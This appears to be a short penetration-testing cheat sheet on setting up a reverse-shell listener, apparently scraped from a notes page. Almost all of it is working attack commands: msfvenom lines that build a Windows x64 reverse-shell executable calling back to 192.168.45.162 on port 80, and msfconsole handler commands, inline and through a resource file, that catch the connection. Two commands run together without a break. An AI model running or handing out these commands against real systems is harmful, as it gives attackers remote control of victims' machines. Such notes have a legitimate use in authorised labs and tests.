Setting up listener.
Last updated
Last updated
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.45.162 LPORT=80 -f exe -o reverse.exemsfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.162 LPORT=80 -f exe -o reverse.exe# Directly execute the command with msfconsole.
# Change required data.
msfconsole -q -x "use multi/handler; set payload windows/x64/shell/reverse_tcp; set LHOST 192.168.45.162; set LPORT 80; run -j"
# First make listener and then run it.
echo -e "use multi/handler\nset payload windows/x64/shell/reverse_tcp\nset LHOST 192.168.45.162\nset LPORT 80\nrun -j" > handler.rc && msfconsole -r handler.rc